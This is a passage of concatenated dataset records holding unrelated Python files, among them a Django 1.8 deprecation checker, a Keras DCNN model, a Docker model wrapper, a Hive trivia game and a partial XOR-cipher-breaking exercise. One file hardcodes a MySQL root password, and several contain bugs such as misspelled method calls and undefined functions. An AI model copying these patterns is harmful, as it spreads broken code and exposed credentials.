in line:\n errors.append('Private API django.template.compile_string was removed.')\n return [], errors, []\n\n\ndef check_override_template(line, filename, options):\n errors = []\n if 'override_template_loaders' in line or 'override_with_test_loader' in line:\n errors.append('Private APIs override_template_loaders and override_with_test_loader in django.test.utils were removed. Override TEMPLATE_LOADERS with override_settings instead.')\n return [], errors, []\n\n\ndef check_future(line, filename, options):\n warnings = []\n if '{% load cycle from future %}' in line or '{% load firstof from future %}' in line:\n warnings.append('Django 1.6 introduced {% load cycle from future %} and {% load firstof from future %} syntax for forward compatibility of the cycle and firstof template tags. This syntax is now deprecated and will be removed in Django 2.0. You can simply remove the {% load ... from future %} tags.')\n return [], warnings, []\n\n\ndef check_patterns(line, filename, options):\n warnings = []\n if 'patterns(' in line:\n warnings.append('django.conf.urls.patterns() is deprecated and will be removed in Django 2.0. Update your urlpatterns to be a list of django.conf.urls.url() instances instead.')\n return warnings, [], []\n\n\ndef check_noargs(line, filename, options):\n warnings = []\n if 'NoArgsCommand' in line:\n warnings.append('The class NoArgsCommand is now deprecated and will be removed in Django 2.0. Use BaseCommand instead, which takes no arguments by default.')\n return warnings, [], []\n\n\ndef check_resolve_variable(line, filename, options):\n warnings = []\n if 'resolve_variable' in line:\n warnings.append('django.template.resolve_variable() has been informally marked as Deprecated for some time. Replace resolve_variable(path, context) with django.template.Variable(path).resolve(context).')\n return warnings, [], []\n\n\ndef check_webdesign(line, filename, options):\n warnings = []\n if 'django.contrib.webdesign' in line:\n warnings.append(\"django.contrib.webdesign provided the lorem template tag which is now included in the built-in tags. Simply remove 'django.contrib.webdesign' from INSTALLED_APPS and {% load webdesign %} from your templates.\")\n return warnings, [], []\n\n\ndef check_error_message(line, filename, options):\n warnings = []\n if 'error_message=' in line:\n warnings.append(\"error_message argument to django.forms.RegexField provided backwards compatibility for pre-1.0 code, but its functionality is redundant. Use Field.error_messages['invalid'] instead.\")\n return warnings, [], []\n\n\ndef check_has_changed(line, filename, options):\n warnings = []\n if '_has_changed' in line:\n warnings.append('django.forms.Field._has_changed() Rename this method to has_changed() by removing the leading underscore. The old name will still work until Django 2.0.')\n return warnings, [], []\n\n\ndef check_remove_tags(line, filename, options):\n warnings = []\n if 'remove_tags' in line or 'removetags' in line or 'strip_entities' in line:\n warnings.append('django.utils.html.remove_tags() as well as the template filter removetags have been deprecated as they cannot guarantee safe output. Their existence is likely to lead to their use in security-sensitive contexts where they are not actually safe. The unused and undocumented django.utils.html.strip_entities() function has also been deprecated.')\n return warnings, [], []\n\n\ndef check_is_admin_site(line, filename, options):\n warnings = []\n if 'is_admin_site' in line:\n warnings.append(\"is_admin_site argument to django.contrib.auth.views.password_reset() It's a legacy option that should no longer be necessary.\")\n return warnings, [], []\n\n\ndef check_subfieldbase(line, filename, options):\n warnings = []\n if 'SubfieldBase' in line:\n warnings.appned('django.db.models.fields.subclassing.SubfieldBase has been deprecated and will be removed in Django 2.0. Historically, it was used to handle fields where type conversion was needed when loading from the database, but it was not used in .values() calls or in aggregates. It has been replaced with from_db_value(). Note that the new approach does not call the to_python() method on assignment as was the case with SubfieldBase.')\n return warnings, [], []\n\n\ndef check_checksums(line, filename, options):\n warnings = []\n if 'django.utils' in line and 'checksums' in line:\n warnings.append('The django.utils.checksums module has been deprecated and will be removed in Django 2.0. The functionality it provided (validating checksum using the Luhn algorithm) was undocumented and not used in Django. The module has been moved to the django-localflavor package (version 1.1+).')\n return warnings, [], []\n\n\ndef check_original_content_type_id(line, filename, options):\n warnings = []\n if 'original_content_type_id' in line:\n warnings.append('The original_content_type_id attribute on InlineAdminForm has been deprecated and will be removed in Django 2.0. Historically, it was used to construct the \"view on site\" URL. This URL is now accessible using the absolute_url attribute of the form.')\n return warnings, [], []\n\n\ndef check_base_loader(line, filename, options):\n warnings = []\n if 'BaseLoader' in line:\n warnings.appned(\"django.template.loader.BaseLoader was renamed to django.template.loaders.base.Loader. If you've written a custom template loader that inherits BaseLoader, you must inherit Loader instead.\")\n return warnings, [], []\n\n\ndef check_test_template_loader(line, filename, options):\n warnings = []\n if 'TestTemplateLoader' in line:\n warnings.append('Private API django.test.utils.TestTemplateLoader is deprecated in favor of django.template.loaders.locmem.Loader.')\n return warnings, [], []\n\n\ndef check_redirect_view(line, filename, options):\n warnings = []\n if 'RedirectView.as_view' in line and 'permanent' not in line:\n warnings.append('Default value of RedirectView.permanent will change from True to False in Django 1.9. Set an explicit value.')\n return warnings, [], []\n\n\n\ndef check_django_18(line, filename, options):\n warnings = []\n info = []\n errors = []\n\n for check in (\n check_duplicate_username,\n check_app_name,\n check_cache_class,\n check_complie_string,\n check_override_template,\n check_future,\n check_patterns,\n check_noargs,\n check_resolve_variable,\n check_webdesign,\n check_error_message,\n check_has_changed,\n check_remove_tags,\n check_is_admin_site,\n check_subfieldbase,\n check_checksums,\n check_original_content_type_id,\n check_base_loader,\n check_test_template_loader,\n check_redirect_view,\n ):\n warn, err, inf = check(line, filename, options)\n warnings += warn\n info += inf\n errors += err\n return warnings, errors, info\n\n\nrules = [{\n 'long_option': '--django-18',\n 'action': 'store_true',\n 'dest': 'django_18',\n 'help': 'Check for changes and deprecations in Django 1.8.',\n 'callback': check_django_18,\n 'enabled': lambda options: options.django_18,\n}]\n","sub_path":"rules/django_18.py","file_name":"django_18.py","file_ext":"py","file_size_in_byte":8699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"462958304","text":"import requests\nfrom abc import abstractmethod\nfrom requests.adapters import HTTPAdapter\nfrom urllib3.util.retry import Retry\nfrom abc import ABC\n\n\nclass Webio(ABC):\n def __init__(self):\n self.session = self._requests_retry_session()\n\n @staticmethod\n def _requests_retry_session(retries=5, backoff_factor=0.3, status_forcelist=(500, 502, 504), session=None):\n s = session or requests.Session()\n retry = Retry(total=retries, read=retries, connect=retries, backoff_factor=backoff_factor,\n status_forcelist=status_forcelist)\n adapter = HTTPAdapter(max_retries=retry)\n s.mount('http://', adapter)\n s.mount('https://', adapter)\n return s\n\n def post(self, **kwargs):\n try:\n if self.header is not None :\n self.session.headers.update(self.header)\n uri = \"{}{}\".format(self.base_url, self.uri)\n return self.session.post(url=uri, data=kwargs)\n except Exception as x:\n print(\"It failed\", x.__class__.__name__)\n return None\n\n def get(self, **kwargs):\n try:\n # if self.header is not None :\n # self.session.headers.update(self.header)\n uri = \"{}{}\".format(self.base_url, self.uri)\n return self.session.get(url=uri, params=kwargs)\n except Exception as x:\n print(\"It failed\", x.__class__.__name__)\n return None\n\n @property\n @abstractmethod\n def base_url(self):\n return \"http://marketdata.krx.co.kr/contents\"\n\n @property\n def uri(self):\n return \"/\"\n\n @property\n def header(self):\n return {\"User-Agent\": \"Mozilla/5.0\"}\n\n","sub_path":"pykrx/website/comm/webio.py","file_name":"webio.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"557491068","text":"#!/usr/bin/env python\nimport io\nimport re\nimport argparse\n\nfrom Bio.SeqIO import to_dict, parse, write\nfrom Bio.Seq import Seq\nfrom Bio.SeqRecord import SeqRecord\n\ndef getOpts(): \n\tparser = argparse.ArgumentParser(description=\"\"\"\n\t\t\t\t\t\t\t\t\t\tFilters the exonerate output for sequences on the\n\t\t\t\t\t\t\t\t\t\tcorrect strand, and renames the sequence simply \n\t\t\t\t\t\t\t\t\t\tas >Taxon\"\"\")\n\tparser.add_argument('-f', '--fasta' ,\n\t\t\t\t\t\tdest = 'fasta' , \n\t\t\t\t\t\ttype = str ,\n\t\t\t\t\t\tdefault= None ,\n\t\t\t\t\t\trequired= True, \n\t\t\t\t\t\thelp = 'Fasta alignment to prune')\n\tparser.add_argument('-o', '--output', \n\t\t\t\t\t\tdest = 'output',\n\t\t\t\t\t\ttype = str, \n\t\t\t\t\t\tdefault = None, \n\t\t\t\t\t\trequired = True,\n\t\t\t\t\t\thelp = 'Name of output file')\n\tparser.add_argument('-t', '--taxon',\n\t\t\t\t\t\tdest = 'taxon',\n\t\t\t\t\t\ttype = str, \n\t\t\t\t\t\tdefault = None, \n\t\t\t\t\t\trequired = True,\n\t\t\t\t\t\thelp = 'Name of taxon')\n\tparser.add_argument('-l', '--flanks',\n\t\t\t\t\t\tdest = 'flanks',\n\t\t\t\t\t\ttype = str,\n\t\t\t\t\t\tdefault = None,\n\t\t\t\t\t\trequired = False,\n\t\t\t\t\t\thelp = 'Complete assembled sequences')\n\targs, unknown = parser.parse_known_args()\n\treturn args\n\ndef matchExonerateCdhit(fasta, flanks, taxon, output):\n\t\"\"\" \n\tmy %opts = { fasta => \"*cdhit.exonerate\",\n\t \t\t flanks => \"*.cdhit\",\n\t\t\t\t taxon => $core }\n\t\"\"\"\n\n\t# read in sequences\n\tinput = open(fasta, 'r').readlines()\n\tinput = [i for i in input if not re.findall('(Command|Hostname|exonerate)', i)]\n\tinput = io.StringIO( \"\".join(input) )\n\trecords = list(parse(input, \"fasta\"))\n\n\t# filter just the sequences in the correct orientation \n\t# (known from the reference sequence used with exonerate)\n\toriented = []\n\t\t\n\tfor record in records:\n\t\tcoordinates = record.description.split(\"\\t\")[1]\n\t\tstart = int(coordinates.split(\"-\")[0])\n\t\tend = int(coordinates.split(\"-\")[1])\n\t\tif end > start:\n\t\t\toriented.append(record)\t\n\n\tWSdict = to_dict(parse(flanks,\"fasta\"))\n\tgenomic = []\n\t\t\n\tfor sequence in oriented:\n\t\tgenomicSeq = WSdict[sequence.id]\n\t\tif sequence.seq in genomicSeq.seq:\n\t\t\tnewRecord = SeqRecord(genomicSeq.seq, id=taxon, description='')\n\t\t\tgenomic.append(newRecord)\n\t\telse:\n\t\t\tgenomicSeqRev = genomicSeq.seq.reverse_complement()\t\n\t\t\tnewRecord = SeqRecord(genomicSeqRev, id=taxon, description='')\n\t\t\tgenomic.append(newRecord)\n\t\t\t\t\n\twrite(genomic, output, \"fasta\")\n\ndef main():\n\n\targs = getOpts()\n\n\tfilterFlanks(fasta = args.fasta,\n\t\t\t\t output = args.output,\n\t\t\t\t taxon = args.taxon,\n\t\t\t\t flanks = args.flanks)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"scripts/filterFlanks.py","file_name":"filterFlanks.py","file_ext":"py","file_size_in_byte":2440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"153694491","text":"#-*- encoding: utf8 -*-\nfrom __future__ import division\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf8')\n\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.regularizers import WeightRegularizer\nfrom .layers.Embedding import Embedding\nfrom keras.layers.core import Dense, Dropout\nfrom .layers.Convolution import Convolution\nfrom .layers.KMaxPooling import KMaxPooling\nfrom .layers.Folding import Folding\n\n\ndef ExampleModel(max_seq_len, embedding_size, filter_shape_list, final_pool_size, dict_size, n_classes):\n model = Sequential()\n model.add(\n Embedding(\n dict_size, embedding_size,\n input_length=max_seq_len, mask_zero=True,\n W_regularizer=WeightRegularizer(l2=0.0001),\n )\n )\n model.add(\n Convolution(filter_shape_list[0], W_regularizer=WeightRegularizer(l2=0.00003))\n )\n model.add(Folding())\n model.add(KMaxPooling(final_pool_size, 2, 1, activation='tanh'))\n model.add(Convolution(filter_shape_list[1], W_regularizer=WeightRegularizer(l2=0.000003)))\n model.add(Folding())\n model.add(KMaxPooling(final_pool_size, 2, 2, activation='tanh', before_dense=True))\n model.add(Dropout(0.7))\n #model.add(Convolution(filter_shape_list[2]))\n #model.add(KMaxPooling(final_pool_size, 3, 3, before_dense=True)) # 最后一个k-max 记得设置before_dense\n model.add(Dense(n_classes, activation='softmax', W_regularizer=WeightRegularizer(l2=0.0001)))\n model.compile(\n loss='categorical_crossentropy',\n optimizer='adagrad',\n class_mode=\"categorical\",\n )\n return model\n\n","sub_path":"CNN/DCNN/nn_zoo.py","file_name":"nn_zoo.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"60090448","text":"import json\nimport sys\nimport os\nimport contextlib\nfrom subprocess import Popen\nfrom subprocess import check_output\nfrom subprocess import PIPE\nfrom toolz import first, filter, last\n\nfrom .container import Container\nfrom .utils import indent\nfrom .utils import TemporaryDirectory\n\n@contextlib.contextmanager\ndef cd(path):\n \"\"\"A context manager which changes the working directory to the given\n path, and then changes it back to its previous value on exit.\n \"\"\"\n prev_cwd = os.getcwd()\n os.chdir(path)\n yield\n os.chdir(prev_cwd)\n\n\nclass Hume:\n def __init__(self, image, params=None):\n self._params = params\n self.set_container(image)\n\n def set_container(self, image):\n self.image = image\n self._container = Container(image)\n\n @classmethod\n def build(cls, tag, path=\".\", dockerfile=None, verbose=False):\n \"\"\"Transform a plain dockerfile into a Humefile, with\n on-build instructions which will create a model.\n \"\"\"\n with cd(path):\n dockerfile = dockerfile or \"./Dockerfile\"\n try:\n with open(dockerfile, \"r\") as f:\n dockerfile_str = f.read()\n except Exception as e:\n dockerfile_str = dockerfile\n humefile = to_humefile(dockerfile_str)\n if verbose:\n print(\"New Humefile:\")\n print(indent(humefile, \"@@ \"))\n with open(\"./Humefile\", \"w+\") as f:\n f.write(humefile)\n cmd = [\"docker\", \"build\", \"-t\", tag, \"-f\", \"Humefile\", \".\"]\n out = check_output(cmd).decode(\"utf-8\")\n if verbose:\n print(\"Sending to `docker build`...\")\n print(indent(out, \" \"))\n return Hume(tag)\n\n def _fit_docker_cmd(self, image, build_args={}, path=\".\"):\n cmd = [\"docker\", \"build\", \"-t\", image]\n for i,j in build_args.iteritems():\n cmd += [\"--build-arg\", \"{}={}\".format(i,j)]\n cmd += [path]\n return cmd\n\n def fit(self, data, target=None, params=None, image=None, tag=\"fitted\", inplace=True, verbose=True):\n \"\"\"\n Parameters\n ----------\n data : file-like object or str\n Either a file object or a url string that will provide the data for\n fitting in a csv format.\n target : str\n The label of the target to fit with.\n params : dict\n A dictionary of model parameters.\n image : str\n Override the image to fit with.\n tag : str\n Set the output tag. Defaults to `:fitted`\n inplace : bool\n Swap out underlying image with fitted version. By default `True`,\n mirroring `sklearn`'s behavior.\n verbose : bool\n Show verbose output (default: True)\n\n Return\n ------\n self\n \"\"\"\n image = image or self.image\n new_image = \"{}:{}\".format(image, tag)\n params = params if params else self._params\n params_dump = json.dumps(params or \"{}\")\n build_args = {\"TRAIN_PARAMS\": params_dump}\n csv_ = data.read()\n if target:\n build_args['TARGET_LABEL'] = target\n with TemporaryDirectory() as tempdir:\n if verbose:\n print(\"Creating build context for Docker image at {}\".format(tempdir))\n with open(\"traindata.csv\", \"w+\") as f:\n f.write(csv_)\n build_args[\"TRAIN_WITH\"] = f.name\n with open(\"Dockerfile\", \"w+\") as dckr:\n dckr.write(\"FROM {}\".format(self.image))\n p = Popen(self._fit_docker_cmd(new_image, build_args), stdout=PIPE, stderr=PIPE)\n out, err = p.communicate()\n p.wait()\n if inplace:\n self.set_container(new_image)\n if verbose:\n print(out)\n print(err)\n return self\n\n def params(self):\n cmd = [\"docker\", \"run\", \"--entrypoint\", \"/bin/sh\", self.image, \"-c\", 'echo \"$TRAIN_PARAMS\"']\n return json.loads(check_output(cmd).strip() or \"{}\")\n\n #TODO: This is going to be tricky...\n def set_param(self, param, value):\n raise NotImplementedError\n\n def get_param(self, param):\n return self.params()[param]\n\n def predict(self, sample):\n \"Predict with the container\"\n cmd = [\"docker\", \"run\", \"-i\", self.image, \"predict\"]\n if hasattr(sample, \"read\"):\n return check_output(cmd, stdin=sample)\n elif isinstance(sample, basestring):\n p = Popen(cmd, stdin=PIPE, stdout=PIPE, stderr=PIPE)\n out, err = p.communicate(input=bytes(sample))\n if err:\n raise Exception(err)\n p.wait()\n return out\n else:\n raise NotImplementedError\n #TODO: Delegate the above code to self._container / a docker module\n # return self._container.run([\"predict\", out])\n\n\ndef entrypoint(dockerfile):\n \"Return the entrypoint, if declared\"\n f = dockerfile.split(\"\\n\")[::-1] # reverse the lines\n try:\n entry_line = first(filter(lambda x: \"ENTRYPOINT\" in x, f))\n except StopIteration as e:\n # No ENTRYPOINT line was found\n return None\n else:\n res = last(entry_line.partition(\"ENTRYPOINT\")).strip()\n try:\n return json.loads(res)\n except:\n return res.split()\n return None\n\ndef fitline(entry, fit_cmd):\n entry += [fit_cmd]\n run_args = ['{}'.format(arg) for arg in entry]\n return \"ONBUILD RUN {}\".format(\" \".join(run_args))\n\ndef to_humefile(dockerfile, entry=None):\n # Get the entrypoint (if any) to know what we need to pass\n # to the ONBUILD RUN line.\n entry = entry or entrypoint(dockerfile)\n if not entry:\n raise Exception(\"You must provide an entrypoint.\")\n out = dockerfile.split(\"\\n\")\n out += [\n \"#<< $HUME_PARAMS_FILE',\n\n # Target label\n \"ONBUILD ARG TARGET_LABEL=target\",\n \"ONBUILD ENV HUME_TARGET_LABEL ${TARGET_LABEL}\",\n fitline(entry, 'fit'),\n \"#HUMEDOC\\n\"\n ]\n return \"\\n\".join(out)\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"hume/hume.py","file_name":"hume.py","file_ext":"py","file_size_in_byte":6714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"169304970","text":"# -*- coding: utf-8 -*-\n# __file__ : sqlalchemy_01.py\n# __time__ : 2020/7/13 11:41 AM\n\nfrom sqlalchemy_aio import ASYNCIO_STRATEGY\n\nimport asyncio\n\nfrom sqlalchemy_aio import ASYNCIO_STRATEGY\n\nfrom sqlalchemy import (\n Column, Integer, MetaData, Table, Text, create_engine, select)\nfrom sqlalchemy.schema import CreateTable, DropTable\n\n\nasync def main():\n engine = create_engine(\n # In-memory sqlite database cannot be accessed from different\n # threads, use file.\n # 'sqlite:///test.db', strategy=ASYNCIO_STRATEGY\n 'mysql+mysqldb://root:woshinibaba@#@localhost:3306/test', strategy=ASYNCIO_STRATEGY\n )\n\n metadata = MetaData()\n users = Table(\n 'users', metadata,\n Column('id', Integer, primary_key=True),\n Column('name', Text),\n )\n\n # Create the table\n await engine.execute(CreateTable(users))\n\n conn = await engine.connect()\n\n # Insert some users\n await conn.execute(users.insert().values(name='Jeremy Goodwin'))\n await conn.execute(users.insert().values(name='Natalie Hurley'))\n await conn.execute(users.insert().values(name='Dan Rydell'))\n await conn.execute(users.insert().values(name='Casey McCall'))\n await conn.execute(users.insert().values(name='Dana Whitaker'))\n\n result = await conn.execute(users.select(users.c.name.startswith('D')))\n d_users = await result.fetchall()\n\n await conn.close()\n\n # Print out the users\n for user in d_users:\n print('Username: %s' % user[users.c.name])\n\n # Supports context async managers\n async with engine.connect() as conn:\n async with conn.begin() as trans:\n assert await conn.scalar(select([1])) == 1\n\n # await engine.execute(DropTable(users))\n\n\nif __name__ == '__main__':\n loop = asyncio.get_event_loop()\n loop.run_until_complete(main())\n","sub_path":"sqlalchemy_aio_study/sqlalchemy_01.py","file_name":"sqlalchemy_01.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"70346395","text":"import platform # for Nix / Win detection\n\n# TD analysis\nclass platformlib(object):\n def __init__(self):\n self.public = ['initialise']\n self.nix_home_folder = '/home/illi4/Robot/' # where the scripts are stored if you are using Linux \n \n def initialise(self):\n platform_run = platform.system()\n if platform_run == 'Windows': \n cmd_init = 'start cmd /K python robot.py '\n cmd_init_buy = 'start cmd /K python smart_buy.py '\n else: \n # Nix\n cmd_init = 'gnome-terminal --tab --profile Active -e \"python ' + self.nix_home_folder + 'robot.py ' # we will also need to add params and close with \" later \n cmd_init_buy = 'gnome-terminal --tab --profile Active -e \"python ' + self.nix_home_folder + 'smart_buy.py ' # --profile Active could be added\n \n return platform_run, cmd_init, cmd_init_buy\n\n","sub_path":"platformlib.py","file_name":"platformlib.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"323248092","text":"#!/usr/bin/env python\n\"\"\"Assemble features from separate directories and prepare files for use in the browser.\"\"\"\nimport os\nimport json\nimport traceback\nimport re\ntry:\n from urllib.request import pathname2url\nexcept ImportError:\n from urllib import pathname2url\n\nallFeedChangesContent = set()\n\nprint('[ INFO] Building feed changes files...')\n\n# Write the feedChanges file\npattern = re.compile(r\"^[\\s]*(ynabToolKit\\..+?)[\\s]*=[\\s]*\\([\\s]*function[\\s]*\\([\\s]*\\)[\\s]*\\{.*$\", re.MULTILINE)\n\nfor dirName, subdirList, fileList in os.walk('./source/common/res/features/'):\n if dirName.endswith('shared'):\n continue\n\n jsFiles = [f for f in fileList if f.endswith('.js')]\n\n for jsFile in jsFiles:\n\n with open(os.path.join(dirName, jsFile), 'r') as content_file:\n content = content_file.read()\n result = pattern.search(content)\n\n if result:\n allFeedChangesContent.add(result.group(1))\n\nwith open('./source/common/res/features/act-on-change/feedChanges.js', 'w') as feedChanges:\n feedChanges.write(('/*\\n'\n ' **********************************************************\\n'\n ' * Warning: This is a file generated by the build process. *\\n'\n ' * *\\n'\n ' * Any changes you make manually will be overwritten *\\n'\n ' * the next time you run ./build or build.bat! *\\n'\n ' ***********************************************************\\n'\n ' */\\n\\n'))\n\n feedChanges.write(('(function poll() {\\n'\n ' if (typeof ynabToolKit.shared !== \\'undefined\\') {\\n'\n ' ynabToolKit.shared.feedChanges = function (changes) {\\n'\n ' // Python script auto builds up this list of features\\n'\n ' // that will use the mutation observer from actOnChange()\\n\\n'\n ' // If a feature doesn\\'t need to use observe(), we\\n'\n ' // just let it fail silently\\n'))\n\n for feedChangesBlock in allFeedChangesContent:\n feedChanges.write('\\n try {\\n')\n feedChanges.write(' if (changes.changedNodes) ' + feedChangesBlock + '.observe(changes.changedNodes);\\n')\n feedChanges.write(' if (changes.routeChanged) ' + feedChangesBlock + '.onRouteChanged(changes.routeChanged);\\n')\n feedChanges.write(' } catch (err) { /* ignore */ }\\n')\n\n feedChanges.write((' };\\n'\n ' } else {\\n'\n ' setTimeout(poll, 100);\\n'\n ' }\\n'\n '}());\\n'))\n","sub_path":"generateFeedChanges.py","file_name":"generateFeedChanges.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"297608957","text":"name = input(\"Enter file:\")\nif len(name) < 1 : name = \"mbox-short.txt\"\nlines = open(name)\nl=list()\ndic=dict()\nfor line in lines:\n line.strip()\n if line.startswith('From: '):\n l=line.split() \n if l[1] not in dic:\n dic.update({l[1]:1})\n else:\n dic[l[1]]=dic[l[1]]+1\nmaxcount=0\nmaxname=str()\nfor key,val in dic.items():\n if val>maxcount:\n maxcount=val\n maxname=key\nprint(maxname,maxcount)\n","sub_path":"e-mailOccurrences.py","file_name":"e-mailOccurrences.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"98030287","text":"class RoleResourceEntitlement:\n def __init__(self, role_id=None, action_type=None, resource_id=None, resource_type=None, dict=None):\n if dict:\n self.__dict__ = dict\n else:\n self.role_id = role_id\n self.action_type = action_type\n self.resource_id = resource_id\n if resource_type is not None:\n self.resource_type = resource_type\n\n @staticmethod\n def get_entitilement_key(role_id, action_type, resource_id):\n return role_id + \"_\" + action_type + \"_\" + resource_id\n\n @staticmethod\n def add_role_resource_entitlement(role_id, action_type, resource_id, st):\n entitlement_key = RoleResourceEntitlement.get_entitilement_key(role_id, action_type, resource_id)\n st.role_resource_entitlement_data[entitlement_key] = \\\n RoleResourceEntitlement(role_id=role_id, action_type=action_type, resource_id=resource_id)\n\n @staticmethod\n def delete_role_resource_entitlement(role_id, action_type, resource_id, st):\n entitlement_key = RoleResourceEntitlement.get_entitilement_key(role_id, action_type, resource_id)\n del st.role_resource_entitlement_data[entitlement_key]\n","sub_path":"models/role_resource_entitlement.py","file_name":"role_resource_entitlement.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"15792451","text":"# Name: Ruben Alexander\n# Url: https://peakd.com/@rubenalexander\n# Hackathon Submission Post Url: https://peakd.com/hive/@rubenalexander/my-hive-hackathon-submission\n# Date/Time: 5/13/2020 2:05 PM EST\n\nfrom beem.discussions import Query, Trending_tags\nimport random\n\ndef tagmenu(tm):\n for x in range(0,len(tm),1):\n print(str(x+1) + \": \" + tm[x])\n\ndef answermenu(am):\n alpha='a'\n for x in range(0,4,1):\n print(\"[\" + str(chr(ord(alpha)+x)) + \"]: \" + str(am[x]))\n\ndef close_answer(am,correct_a,user_a):\n diff_ans=[]\n for v in am:\n if v-correct_a != 0:\n diff_ans.append(v-correct_a)\n if abs(min(diff_ans))==abs(correct_a-user_a):\n return True\n else: \n return False\n\n\ncategories = ['comments','top_posts','total_payouts']\nq_list = ['How many comments are in tag ', 'How many top posts are in tag ', 'What is the total payout (in HBD) for tag ']\n\nq = Query(limit=20, start_tag=\"\")\ntaglist = []\nchosen_tags = []\nchosen = 0 \nquestion_index=0\nquestion_max=5\nq_correct=0\nq_missed=0\nq_percent=0\nmeta_list=[]\nscore=0\nanswers=[]\n\n# Collect top tags\nfor h in Trending_tags(q):\n #print(h)\n taglist.append(h['name'])\n meta_list.append([h['name'],h['comments'],h['top_posts'],h['total_payouts']])\n\n\"\"\"\n#For debugging the metalist\nprint(\"metalist: \")\nprint(meta_list)\n\"\"\"\n\n# User selects 10 tags from top tags\nprint()\nprint(\"TAG SELECTION ROUND\")\nwhile chosen < question_max:\n tagmenu(taglist)\n print(\"Choose \" + str(question_max-chosen) + \" tag(s)\")\n x=int(input())\n if x<0 or x>len(taglist):\n print(\"Please choose a tag from the tag list.\")\n else:\n chosen_tags.append(taglist[x-1])\n print(\"You added: \" + str(taglist[x-1]))\n taglist.remove(taglist[x-1])\n chosen+=1\n\nprint()\nprint('Your tags selection is complete.')\nprint('Here are your chosen tags: ')\n\n# User answers questions from their top tags, random categories\nprint()\nprint(\"QUESTION ROUND\")\nwhile question_index < question_max:\n # tagmenu(chosen_tags)\n x=random.randint(0,len(chosen_tags)-1)\n print()\n print(\"Current Tag: \" + str(chosen_tags[x]))\n y=random.randint(0,2)\n print(\"Current Category: \" + str(categories[y]))\n print()\n print(q_list[y] + str(chosen_tags[x] + \"?\"))\n print()\n \n # Append correct answers to answer option list\n for n in meta_list:\n if n[0] == chosen_tags[x]:\n for i in range(0,4,1):\n if y == 2:\n temp = n[y+1].split(\".\")\n answers.append(int(temp[0]))\n else:\n answers.append(n[y+1])\n\n # Tweak three answers, preserve one\n protect = random.randint(0,3)\n for m in range(0,4,1):\n if m != protect:\n tweak_value = random.randint(0,int(answers[0]/10))\n coin = random.randint(0,1)\n if coin==0:\n answers[m]+=tweak_value\n else:\n answers[m]-=tweak_value\n answers[m]=abs(answers[m])\n \n answermenu(answers)\n print(\"Enter your answer (a, b, c, or d): \")\n z=input()\n if z=='a':\n z=0\n elif z=='b':\n z=1\n elif z=='c':\n z=2\n elif z=='d':\n z=3\n else: \n z=-1\n\n if z==protect:\n print(\"CORRECT! +10 points\")\n score+=10\n elif close_answer(answers,answers[protect],answers[z]) is True:\n print(\"So close! +5 points\")\n score+=5\n else:\n print(\"+0 points\")\n\n chosen_tags.remove(chosen_tags[x])\n question_index+=1\n answers=[]\n if question_max-question_index==0:\n print(\"Thanks for playing. Player score total is... \" + str(score) + \" points!\")\n else:\n print(str(question_max-question_index) + \" question(s) left.\")\n ","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"503342546","text":"import base64\nfrom Crypto.Cipher import AES\n\n\ndef hex2base64(hexdata):\n\n byte_data = bytes.fromhex(hexdata)\n\n b64_data = base64.b64encode(byte_data).decode('utf-8')\n\n return b64_data\n\ndef xor(pt, key):\n\n if len(key) < len(pt):\n key = (len(pt)//len(key)) * key + key\n key = key[:len(pt)]\n\n pt_b = bytes.fromhex(pt)\n key_b = bytes.fromhex(key)\n\n enc = \"\"\n\n for x, y in zip(pt_b, key_b):\n enc += chr(x ^ y)\n\n return enc.encode('utf-8').hex()\n\n\nclass EnglishCharFreq:\n\n def __init__(self):\n self.freq_order = \"etaoin shrdlcumwfgypbvkjxqz$\"\n freq_list = [(x[1], x[0]) for x in enumerate(self.freq_order[::-1])]\n self.freq = dict(freq_list)\n\n def score(self, data):\n res = 0\n data = data.lower()\n for char in data:\n res += self.freq.get(char, 0)\n\n return res\n\n\ndef break_single_key_xor(enc):\n\n ct = enc.hex()\n\n scorer = EnglishCharFreq()\n\n all_score = {}\n\n for i in range(256):\n hex_data = xor(ct, hex(i)[2:])\n\n data = bytes.fromhex(hex_data).decode('utf-8')\n\n all_score[i] = scorer.score(data)\n\n key = max(all_score, key=all_score.get)\n data = xor(ct, hex(key)[2:])\n data = bytes.fromhex(data).decode('utf-8')\n\n return data, key\n\ndef hamming_distance(a: bytes, b: bytes):\n\n assert(len(a) == len(b))\n\n dist = 0\n\n for x, y in zip(a, b):\n xord_val = x ^ y\n dist += bin(xord_val).count('1')\n\n return dist\n\n\ndef guess_keysize(enc):\n score = {}\n for i in range(2, 40, 1):\n curr_score = 0\n times = 0\n for j in range(0, len(enc)-2*i, i):\n\n curr_score += hamming_distance(enc[j:j+i], enc[j+i:j+2*i])\n times += 1\n\n score[i] = curr_score/(times*i)\n\n return min(score, key=score.get)\n\n\ndef break_repeating_key_xor(enc):\n\n keysize = guess_keysize(enc)\n\n single_key_xor = [b\"\"] * keysize\n\n for i in range(0, len(enc)):\n 